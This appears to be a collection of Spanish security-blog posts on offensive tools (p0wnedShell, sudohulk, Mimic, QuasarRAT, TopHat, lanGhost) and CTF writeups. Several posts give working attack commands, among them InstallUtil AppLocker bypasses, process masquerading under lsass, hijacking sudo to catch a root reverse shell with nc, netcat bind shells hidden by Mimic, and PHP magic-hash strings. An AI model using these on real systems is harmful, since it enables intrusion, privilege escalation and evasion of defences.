p0wnedShell: un toolkit ofensivo "todo en uno" con un runspace en Powershell

p0wnedShell de los holandeses Cn33liz y Skons es un toolkit ofensivo de PowerShell escrito en C# que no depende de powershell.exe pero ejecuta comandos y funciones de powershell dentro de un entorno de espacio de ejecución de powershell (.NET).

Trae una gran cantidad de módulos ofensivos de PowerShell y binarios para facilitar el proceso de Post-Explotación y es que se trata de una solución "todo en uno" que se puede utilizar para eludir todas las soluciones de mitigación (o al menos algunas de ellas), y que incluye todas las herramientas relevantes.

Para compilar p0wnedShell, necesitaremos abrir el proyecto dentro de Microsoft Visual Studio y compilarlo para plataformas x64/x86. Se pueden cambiar las siguientes opciones de AutoMasq antes de compilar:   

public static bool AutoMasq = true;

public static string masqBinary = @"C:\Windows\Notepad.exe";

Con AutoMasq establecido a falso, el ejecutable se lanza normalmente. Con AutoMasq habilitado, se puede cambiar el nombre del ejecutable p0wnedShell como el proceso que va a enmascarar (masqBinary), por lo que tiene la apariencia de ese proceso (por ejemplo notepad.exe).

Usando el argumento opcional "-parent", se puede iniciar p0wnedShell usando otro ID de proceso. Al combinar la opción PEB Masq y un ID diferente de proceso (por ejemplo, svchost) se puede dar a p0wnedShell la apariencia de un servicio legítimo.

Nota: Ejecutar p0wnedShell usando otro Parent Process ID no funciona todavía desde una sesión/shell de Meterpreter.
Changing the Parent Process ID can also be used to spawn a p0wnedShell process with system privileges, 
for example using lsass as the the parent process.
For this you need to have UAC elevated administrator permissions.

C:\p0wnedShell>p0wnedShellx64.exe -parent
 
 [+] Please enter a valid Parent Process name.
 [+] For Example: C:\p0wnedShell\p0wnedShellx64.exe -parent svchost
 
C:\p0wnedShell>p0wnedShellx64.exe -parent lsass

Para ejecutar como binario x86 y evitar Applocker (Créditos pa Casey Smith aka subTee para este gran bypass):
cd \Windows\Microsoft.NET\Framework\v4.0.30319 (O un directorio de una versión .NET más moderna)

InstallUtil.exe /logfile= /LogToConsole=false /U C:\p0wnedShell\p0wnedShellx86.exe

Para ejecutar como binario x64 y evitar Applocker:
cd \Windows\Microsoft.NET\Framework64\v4.0.30319 (O un directorio de una versión .NET más moderna)

InstallUtil.exe /logfile= /LogToConsole=false /U C:\p0wnedShell\p0wnedShellx64.exe

Herramientas/funciones de PowerShell incluidas:
  • PowerSploit: Invoke-Shellcode
  • PowerSploit: Invoke-ReflectivePEInjection
  • PowerSploit: Invoke-Mimikatz
  • PowerSploit: Invoke-TokenManipulation
  • PowerSploit: PowerUp and PowerView
  • Rasta Mouse: Sherlock
  • HarmJ0y's: Invoke-Psexec and Invoke-Kerberoast
  • Rohan Vazarkar's: Invoke-BloodHound (C# Ingestor)
  • Chris Campbell's: Get-GPPPassword
  • Tim Medin's: GetUserSPNS
  • Besimorhino's: PowerCat
  • Nishang: Copy-VSS and Invoke-Encode
  • Nishang: Invoke-PortScan and Get-PassHashes
  • Kevin Robertson: Invoke-Tater, Invoke-SMBExec and Invoke-WMIExec
  • Kevin Robertson: Invoke-Inveigh and Invoke-InveighRelay
  • FuzzySecurity: Invoke-MS16-032 and Invoke-MS16-135
Las funciones Powershell dentro del Runspace se cargan en la memoria comprimidas y codificadas en Base64.

Binarios/herramientas incluidos:
  • Benjamin DELPY's Mimikatz
  • Benjamin DELPY's MS14-068 kekeo Exploit
  • Didier Stevens modification of ReactOS Command Prompt
  • MS14-058 Local SYSTEM Exploit
  • hfiref0x MS15-051 Local SYSTEM Exploit
Los binarios se cargan en memoria usando ReflectivePEInjection (los arrays de Byte se comprimen usando Gzip y se guardan dentro de p0wnedShell como cadenas codificadas en Base64).

Proyecto: https://github.com/Cn33liz/p0wnedShell

Hashes "mágicos" en PHP (type jugling)

En PHP utilizar el operador igual-igual '==' puede traer serias implicaciones sobretodo a la hora de comparar hashes de contraseñas:

1.- Cuando se utiliza '==' PHP realiza un type juggling para determinar el tipo de variables que va a comparar.
2.- Los hashes en PHP están codificados en base16 y pueden encontrarse en formato "0e812389...".
3.- 0e significa "0 elevado a" por lo que si PHP encuentra una variable que empieza por "0e" seguida de números va a determinar que la variable es un flotante (aunque realmente sea un string).
4.- Evidentemente 0 elevado al número que sea va a ser siempre 0 (o mejor dicho 0.0)
5.- Si encontramos texto claro que al hashear (con el algoritmo correspondiente) de un resultado que empiece por "0e" habremos encontrado una contraseña que podría ser válida para muchos hashes del sistema (siempre que se use incorrectamente el operador '==' en lugar de '===').

Veamos unos ejemplos con md5. Primero obtenemos las "strings" mágicas:  

$ echo -n 240610708 | md5sum
0e462097431906509019562988736854  -
$ echo -n QNKCDZO | md5sum
0e830400451993494058024219903391  -
$ echo -n aabg7XSs | md5sum
0e087386482136013740957780965295  -

Luego vemos que al compararlas con el operador '==' y con cualquier hash que empiece por '0e' el resultado es siempre verdadero:
                                                                          
$ php -a
Interactive mode enabled       
php > var_dump(md5('240610708') == '0e111111111111111111111111111111');                              
bool(true)                  

Pero si no empieza por '0e' el resultado será falso:
                                                                         
php > var_dump(md5('240610708') == 'NO462097431906509019562988736854');                              
bool(false)

Writeups del NSA Codebreaker 2017

Cada año, la NSA lanza un reto llamado Codebreaker que requiere ingeniería inversa y habilidades de exploting. Este año fue diseñado para conducir a los jugadores a través de algunas de las fases que podrían darse si se encuentra a alguien malicioso en la red. En total seis tareas, cada una basada en la anterior y que requerían diferentes habilidades. Hubo 1.098 participantes y solo tres pudieron completar las seis tareas. Gracias a Jonathan Armer podemos ver cada uno de los writeups del reto planteado por la agencia de espionaje más famosa del mundo:

Descripción del reto:

DISCLAIMER: La siguiente es una historia FICTICIA diseñada para proporcionar un contexto realista para el Desafío Codebreaker y no está vinculada de ninguna manera a eventos reales.

El Departamento de Seguridad Nacional (DHS) ha solicitado la ayuda de la NSA para investigar actividades inusuales de la red dentro de un gran sistema SCADA. El sistema controla la infraestructura crítica para múltiples ciudades, por lo que es imperativo que la evaluación se lleve a cabo de inmediato. Si se encuentran intrusiones, debemos identificar cómo se comprometieron los sistemas y neutralizar la amenaza. A la DHS le preocupa que alguien intente tomar el control de los nodos del sensor distribuido y forme una botnet grande. Si esto sucede, podrían usarlo para causar estragos en las ciudades y potencialmente lanzar ataques DDoS contra otras redes críticas. ¡Necesitamos tu ayuda para evitar que esto suceda!

Para este desafío, se le entregará una serie de seis tareas, cada una de ellas en dificultad creciente, con el objetivo final de neutralizar por completo la red zombi. Estas tareas se resumen de la siguiente manera:

- Configurar una instancia de prueba del sistema (Tarea 0)
- Analizar el tráfico de red sospechoso (Tareas 1 y 2)
- Analizar los componentes críticos del sistema en busca de vulnerabilidades (Tareas 3 y 4)
- Realizar un análisis forense de un endpoint comprometido (Tarea 5)
- Diseñar un exploit para el servidor de botnets y diseñar una estrategia para limpiar los endpoints infectados (Tarea 6)

¡¿Estás preparado para el desafío?!

Bad Ducky: un "Rubber Ducky" por sólo 6,50€

Bad Ducky es otro clon de Rubber Ducky. Se basa en la placa CJMCU BadUsb (ATMEGA32u4 - clon de Arduino Leonardo) con lector de tarjetas incorporado, que puede comprar en ebay o aliexpress por sólo 8,23€ 6,50€!:

- es completamente compatible con los scripts de Rubber Ducky (todos los comandos son compatibles)
- los scripts no requieren compilarse ni codificarse
- no hay límite en el tamaño del payload (el único límite es el espacio disponible en la tarjeta SD)
- tiene dos modos operativos (entrega o delivery continua o de una sola vez)
- se puede cambiar entre modos/payloads con un smartphone
- tiene soporte para diferentes lenguajes de teclado

Para instalarlo el único requisito es tener el IDE de Arduino. Conectaremos nuestro Bad Ducky (el sistema lo reconocerá como un Arduino Leonardo):


 elegiremos el puerto serie correspondiente y subiremos el sketch bad_ducky.ino:

contact.sh: script para encontrar a quién reportar vulnerabilidades #bugbounty

Ed (edoverflow) ha desarrollado un script en bash que hace de herramienta OSINT para encontrar contactos con el fin de reportar vulnerabilidades de seguridad. No es que sea (todavía) algo extenso y complejo pero es bastante novedoso e interesante sobretodo para aquellos que son asiduos a los programas de bug bounty. 

Instalación

Linux

$ sudo apt install jq (jq - Command-line JSON processor)
$ git clone https://github.com/EdOverflow/contact.sh.git
$ cd contact.sh/
$ chmod u+x contact.sh
$ ./contact.sh -d google.com -c google

OSX

$ brew install gnu-sed --with-default-names
$ brew install jq
$ git clone https://github.com/EdOverflow/contact.sh.git
$ cd contact.sh/
$ chmod u+x contact.sh
$ ./contact.sh -d google.com -c google

Uso:     

$ ./contact.sh


 _  _ __ _|_ _  _ _|_    _ |_ 
(_ (_)| | |_(_|(_  |_ o _> | |
            ---
        by EdOverflow


[i] Description: An OSINT tool to find contacts in order to report security vulnerabilities.
[i] Usage: ./contact.sh [Options] use -d for hostnames (-d example.com), -c for vendor name (-c example), and -f for a list of hostnames in a file (-f domains.txt) 
[i] Example: ./contact.sh -d google.com -c google

El parámetro -d se utiliza para encontrar direcciones vinculadas a un dominio. contact.sh devolverá un "nivel de confianza" basado en la fuente de la información obtenida. Un archivo security.txt ubicado en el dominio tendrá una prioridad más alta que una cuenta de Twitter en el sitio web de la compañía.

$ ./contact.sh -d google.com

El parámetro -c permite especificar el nombre de la compañía.

$ ./contact.sh -c google

Si el nombre de la empresa contiene espacios, hay que colocar el nombre entre comillas.

$ ./contact.sh -c "keeper security"

Se puede verificar una lista de dominios usando el indicador -f.

$ ./contact.sh -f domains.txt

Para obtener los mejores resultados, hay que combinar ambos parámetros de la siguiente manera:

$ ./contact.sh -d google.com -c google

contact.sh se basa en el archivo robots.txt del objetivo.

$ ./contact.sh -d linkedin.com

Proyecto: https://github.com/EdOverflow/contact.sh

Hardware reversing (firmware y UEFI) (by Guillermo Campillo #hc0n2018)

Vamos acabando de publicar el material de los ponentes h-c0n, esta vez con la presentación 'Hardware reversing (firmware y UEFI)' de Guillermo Campillo (@pekeinfo), analista de malware y reversing desde el 2014 y en la actualidad trabajando en S21sec.

Se trata de una introducción al análisis de aplicaciones UEFI para iniciarse en el mundo del análisis de UEFI. Durante varios años cada día es mas frecuente escuchar la palabra UEFI y en esa charla Guillermo nos contó qué es y qué no es UEFI, así como una introducción para la depuración de aplicaciones que son de utilidad para tomar contacto sobre el estándar UEFI.


- Fotos:


- Enlaces (web h-c0n):

http://www.h-c0n.com/p/ponentes.html#Guillermo
http://www.h-c0n.com/p/ponencias.html#UEFI

- Enlaces (agradecimientos):

https://github.com/lmanoarchilla
http://www.opensecuritytraining.info/IntroBIOS.html

29 tipos de ataque USB distintos

Un grupo de investigadores de la Universidad Ben-Gurion de Negev en Israel publicó el año pasado en la revista ScienceDirect un interesante artículo en el que identifican 29 formas distintas en las que podría usarse un dispositivo USB para comprometer un equipo.

El propósito de esa investigación fue alertar a los usuarios de las numerosas posibilidades que tiene un atacante de abusar de los dispositivos USB para infectar un sistema y robar de forma encubierta datos de redes protegidas y aisladas. La recomendación del equipo de investigación es que los dispositivos USB estén prohibidos o al menos controlados estrictamente en redes seguras.

Para clasificar estos métodos de explotación crearon además cuatro categorías diferentes según la forma en que se lleve a cabo el ataque:

A) Reprogramando el microcontrolador interno del dispositivo USB. El dispositivo se ve como un dispositivo USB normal (por ejemplo un cargador), pero lleva a cabo las operaciones de otro (por ejemplo un teclado que inyecta pulsaciones de teclas).

B1) Reprogramando el firmware del dispositivo USB para ejecutar acciones maliciosas (como descarga de malware, exfiltración de datos, etc.).

B2) No reprogramando el firmware del dispositivo USB sino aprovechando los fallos en la forma en que los sistemas operativos normalmente interactúan con los protocolos/estándares USB.

C) Ataques eléctricos basados en USB.


Intentando escalar privilegios cambiando el comando de sudo con sudohulk

sudohulk es una herramienta que es capaz de cambiar el comando sudo lanzado por otro usuario en otra shell (bash o zsh) hookeando la syscall execve mediante ptrace. Soporta las arquitecturas x86_64, x86 y arm.

Instalación

$ git clone https://github.com/hc0d3r/sudohulk.git
$ cd sudohulk
$ make
cc -Wall -Wextra -O2 -c -o bin/sh_remotedata.o src/sh_remotedata.c
cc -Wall -Wextra -O2 -c -o bin/sh_string.o src/sh_string.c
cc -Wall -Wextra -O2 -c -o bin/sudohulk.o src/sudohulk.c
cc -Wall -Wextra -O2 -o sudohulk bin/sh_remotedata.o bin/sh_string.o bin/sudohulk.o

Uso

$ ./sudohulk
sudohulk [-qdk] PID COMMAND [ARGS]

Options:
   -q quit when change a command
   -d run in background
   -k keep original command line (appending to new)

Ejemplo: cambio de comando 'ls' por 'id' al ejecutar sudo en sesión actual

$ ./sudohulk -qd $$ id
running in background, pid:20899
$ sudo ls -lah
[sudo] senha para mmxm:
uid=0(root) gid=0(root) grupos=0(root)

Ejemplo: cambio de comando 'ls' por shell reversa con 'nc' en la sesión de la víctima

malicioso@host:~$ ./sudohulk -q 6610 bash /tmp/shell.sh
starting attach pid: 6610

[*] new process created: 6887
[+] (6887) sys_execve detected >>> '/usr/bin/sudo'
[+] sudo detected
[*] overwriting parameters
[-] exiting ...

victima@host:~$ sudo ls
Android      Escritorio        MEGAsync           peda           stopfw.sh

malicioso@host:~$ nc -nlvp 6969
listening on [any] 6969 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 55866
id
uid=0(root) gid=0(root) grupos=0(root)

Hacking con Python (by Daniel Echeverri #hc0n2018)

Otro de los grandes ponentes y uno de los más populares que tuvimos en la h-c0n fue Daniel Echeverri, más conocido por @adastra. Fundador de The Hacker Way, profesor/colaborador en Securizame, ponente y habitual en muchas conferencias y escritor de varios libros, dos de los cuales (los de Python de 0xword) fueron los más votados por vosotros para el sorteo.

En el salón de actos de la ETSISI tuvimos la suerte de poder presenciar su charla 'Hacking con Python' en la que nos enseñó cómo manipular shellcodes y malware desde Python creando rutinas para la inyección de código malicioso e inyectando en procesos bajo sistemas Linux y Windows. Además de la creación de keyloggers, screen scrapers y webcam scrapers para "monitorizar" la actividad del usuario. Si no estuvisteis os recomiendo al menos echar un vistazo a las slides:


lanGhost: un backdoor en tu Raspberry Pi controlado mediante Telegram

Un ejercicio típico de Red Team es llevar a cabo una intrusión física dejando conectado a la red interna de una empresa un dispositivo que hará los labores de backdoor evadiendo así la seguridad perimetral y atacando "desde dentro".

Imagina además que ese dispositivo, por ejemplo una Raspberry Pi, puede ser controlado directamente mediante Telegram. Gracias a David Schütz y su herramienta lanGhost es muy fácil hacerlo: una serie de scripts que implementan un conjunto de ataques que pueden ser controlados mediante un bot de Telegram. ¿Suena bien, verdad? Pues vamos a probarlo!

Lo primero que haremos es crear el bot como siempre llamando a BotFather:



Ahora accederemos a la RPi y ejecutaremos los siguientes comandos:

$ sudo apt update && sudo apt install python3 python3-pip
$ git clone https://github.com/xdavidhu/lanGhost
$ cd lanGhost
$ sudo ./setup.py

TopHat: un RAT FuD con una shell cifrada con RSA

TopHat está basado en las características de meterpreter de metasploit; sin embargo Eitenne, su autor, se ha currado un pequeño script en Python para generar un backdoor cifrado no detectable. Sencillo pero eficaz, tal y como se muestra en los siguientes vídeos:




Github: https://github.com/Eitenne/TopHat

CTFR, exprimiendo la transparencia de los certificados SSL

Una de las fases del pentesting más importante, sobre todo en entornos de caja negra, es la enumeración, gracias a ella podremos hacernos una idea de la infraestructura que pretendemos auditar como servidores expuestos en Internet, puertos abiertos, subdominios... Con ello podremos encontrar partes de la infraestructura vulnerables a distintas clases de ataques, de aquí parte la frase de Abraham Lincoln:


“Dame seis horas para cortar un árbol y pasaré las primeras cuatro afilando el hacha”

Uno de los puntos fundamentales a la hora de enumerar son los servidores DNS, ya que algunas veces son una de las partes más descuidadas y que una mala configuración de los mismos nos puede proveer multitud de información sensible que nos puede facilitar la labor de penetración. La zona de transferencia, también llamada AXFR, puede ser una de las piezas críticas para la recolección de infomación, una mala configuración como que un servidor maestro no filtre por direcciones IP qué servidores esclavos pueden realizar transferencias, ocasionaría que cualquier atacante pueda consultar por las zonas de los dominios que el servidor maestro administra, pudiendo enumerar subdominios o zonas más sensibles.


Otro de los puntos que también se deben tener muy en cuenta a día de hoy es la transparencia de certificados, un proyecto promovido por Google que busca solventar defectos estructurales de los certificados SSL que ponen en peligro las comunicaciones cifradas por Internet y comprometen mecanismos como TLS/SSL, pudiendo de esta manera ser aprovechado por un atacante para suplantar identidad o para realizar ataques MITM. Con la transparencia de certificados se podrán eliminar estos defectos ya que se crea un open framework para monitorizar y auditar certificados SSL a tiempo real, permitiendo la fácil detección de certificados emitidos erroneamente o maliciosamente.

Por suerte para los pentesters, esto se puede usar para enumerar también, gracias a una nueva herramienta de Sheila A. Berta publicada en GitHub recientemente. Llamada CTFR, abusa de los logs de los certificados SSL mediante la transparencia de certificados gracias al buscador de certificados crt.sh. Con esta herramienta podremos enumerar automáticamente subdominios ocultos que pueden albergar información sensible o ser zonas explotables gracias consultas a crt.sh. Podremos obtener resultados muy semejantes a los explicados anteriormente con AXFR.

Cuckoo'n'Roll (by Andriy Brukhovetskyy #hc0n2018)

Hoy os traemos la ponencia titulada "Cuckoo'n'Roll" que dio Andriy Brukhovetskyy (@D00m3dR4v3n) en la h-c0n el pasado mes de febrero sobre Cuckoo Sandbox, herramienta open source para el análisis automático de malware que ha ido ganando notoriedad desde su creación en 2010.

Analista de Malware y activo colaborador en proyectos Open Source, Andriy comenzó su andadura laboral en Ciberseguridad como becario en eCrime de S21sec. Actualmente trabaja en FireEye iSight Partners.


QuasarRAT: un RAT libre y open source para Windows

Quasar es una herramienta de administración remota (RAT) rápida y liviana programada en C#. Es una buena solución de administración remota al proporcionar una gran estabilidad y una interfaz de usuario fácil de usar.


Características

- Transmisión de red TCP (compatibilidad con IPv4 e IPv6)
- Serialización de red rápida (NetSerializer)
- Comunicación comprimida (QuickLZ) y cifrada (AES-128)
- Multi-hilo
- Soporte de UPnP
- Soporte de No-Ip.com
- Visita del sitio web (oculto y visible)
- Mostrar Messagebox
- Administrador de tareas
- Administrador de archivos
- Administrador de inicio
- Escritorio remoto
- Cámara web remota
- Shell remoto
- Descargar y ejecutar
- Cargar y ejecutar
- Información del sistema
- Comandos de equipo (reiniciar, apagar, en espera)
- Keylogger (Soporte Unicode)
- Proxy inverso (SOCKS5)
- Recuperación de contraseña (navegadores comunes y clientes FTP)
- Editor de registro

Requisitos

- .NET Framework 4.0 Client Profile (Descargar)
- Sistemas operativos admitidos (32 y 64 bits)
- Windows XP SP3
- Windows Server 2003
- Windows Vista
- Windows Server 2008
- Windows 7
- Windows Server 2012
- Windows 8 / 8.1
- Windows 10

Compilando

Abre el proyecto en Visual Studio y haz clic en compilar, o usa uno de los archivos por lotes (batch) incluidos en el directorio raíz.

- build-debug.bat Compila la aplicación usando la configuración de depuración (para probar)
- build-release.bat crea la aplicación utilizando la configuración de release (para publicación)

Fuente: https://github.com/quasar/QuasarRAT

Writeups CTF ForoCiber2018

Este martes con motivo del II Forociber, la Universidad de Extremadura junto con la empresa Viewnext abría un pequeño CTF de 72 horas de duración que planteaba 5 4 retos. Además de ser breve incluía premios como material tecnológico para los tres primeros clasificados, así que decidí dedicarle tiempo y jugar.

La verdad es que resultó entretenido y como el nivel era bastante asequible pude completarlo en tan sólo unas horas, resultando ganador. Sin embargo (zote de mí) no leí en las bases de participación que para optar a los premios la edad máxima era 35 años y mi premio se quedó en un simple reconocimiento (gracias a ToTe de la organización) y, eso sí, la diversión y el entretenimiento de cuándo estuve realizándolo.

Ya comenté que 35 años me parecía un corte absurdo, incluso discriminatorio.  Si se buscan promesas, la bajaría si acaso a 25 que es más o menos cuando un estudiante comienza su andadura profesional. ¿Pero 35? a los 30 ya era senior y tenía más tiempo para hacer CTFs... pero en fín, las reglas son las reglas y por lo menos voy a poder dejaros el siguiente post con las soluciones.

RETO 1 - Un Sysadmin perezoso

Retador

Alberto Ledo (@0x13d0): Administrador de Sistemas de la Universidad de Extremadura.

Descripción

Miguel es un sysadmin que forma parte de un proceso de selección para la empresa S2A. La empresa, en la primeras fases del proceso necesita medir los conocimientos generales de administración y seguridad en sistemas de los candidatos, así como los conocimientos que poseen sobre malos hábitos del administrador de sistemas.

Para ello S2A prepara una prueba con la que poder realizar una primera selección de candidatos. Se trata de esta misma prueba. Proporcionan a Miguel la dirección IP de un servidor que llegó a producción cuando aún debía estar en fase de test.

Para superar la prueba Miguel debe encontrar unas palabras escondidas en el algún lugar en el servidor, ¿Ayudas a Miguel?

Materiales

La IP del servidor en el que debe buscar Miguel es: 34.217.203.163

Writeup (10 puntos)

Empezamos como casi siempre con un escaneo de puertos:

# nmap -A -Pn 34.217.203.163
 

3306/tcp open mysql MySQL 5.5.5-10.1.26-MariaDB-0+deb9u1
55555/tcp open ssh
OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)


Vale, tenemos abierto dos puertos. Empezaremos con mysql... Si es un administrador de sistemas perezoso... seguro que las credenciales deben ser totalmente predecibles:

# mysql -u admin -p -h 34.217.203.163
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 437232
Server version: 5.5.5-10.1.26-MariaDB-0+deb9u1 Debian 9.1

Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> 


Bingo! El usuario es admin y la contraseña admin.


Como veis tenemos una base de datos 'forociber2018' con una tabla 'forociber' que tiene un campo 'flag'...


Y ya tenemos la primera flag: "Y CIBERDERECHO". Continuamos al siguiente...

Mimic: una herramienta para ocultar procesos en Linux incluso sin privilegios

Mimic es una herramienta para la ejecución encubierta de procesos en Linux x86_64. Para ello, Mimic puede lanzar cualquier programa y hacer que se vea como cualquier otro programa. Cualquier usuario puede usarlo. No requiere permisos especiales. No requiere binarios especiales. No requiere un rootkit.

¡¿Qué?! ¿Sin privilegios especiales? Correcto. Mimic funciona reorganizando las estructuras internas de un proceso de tal manera que confunde la entrada de /proc para ese proceso. Todas las herramientas que informan de la naturaleza de un proceso lo hacen examinando /proc. Si podemos "doblar" /proc, entonces podemos ocultar un proceso a simple vista. Como solo estamos alterando el estado de un proceso que poseemos, cualquiera puede ejecutar con éxito el Mimic.

Mimic utiliza un pequeño programa (set_target_pid) que agotará los pids hasta que vuelva al que se desea. Esto permite elegir en qué parte del proceso deseamos incluir nuestro proceso. Hay que tener en cuenta que el kernel reserva los primeros 300 pids para los threads del kernel. Si intentamos ir por debajo de eso, probablemente terminaremos corriendo con pid 301.

Por supuesto que cualquiera puede llegar a detectar ésto, pero sólo si está mirando muy de cerca o si ejecuta una herramienta forense que está buscando este tipo de cosas. El objetivo y la verdadera utilidad de Mimic es que evitará que alguien sospeche en primer lugar.

Uso:
usage: mimic -e COMMAND [-m MIMIC] [-b] [-a KEY=VALUE] [-q] [-h]
    -e    Execute COMMAND.
    -m    Setup COMMAND to look like MIMIC.
            Default for non-root is:    "/usr/sbin/apache2 -k start"
            Default for root is:        "[kworker/0:0]"
    -b    Launch COMMAND in the background.
    -a    Add / overwrite KEY to the mimic environment with associated VALUE.
    -r    Raw mimic string. Do not process it in the normal way. (Useful for name fuzzing / mangling.)
    -q    Be quiet! Do not print normal output.
    -h    Print this helpful message.

    Notes:
        The MIMIC environment will be a copy of the COMMAND environment.
        The '_' variable is automatically changed.
        The -a flag can be called multiple times to add / overwrite multiple variables.

    Examples:
        mimic -e /bin/bash
        set_target_pid 1 && mimic -e /bin/bash
        mimic -b -e "./revsh"
        mimic -b -e "nc -l -e /bin/bash"
        mimic -b -e "nc -l -e \"mimic -e /bin/bash\""

Mimic puede usarse también con scripts pero sólo si se llama directamente en el intérprete. Por ejemplo, si la primera línea del script es "#!/usr/bin/perl", podremos llamar a Mimic de esta manera:
empty@monkey:~$ mimic -e "/usr/bin/perl test.pl"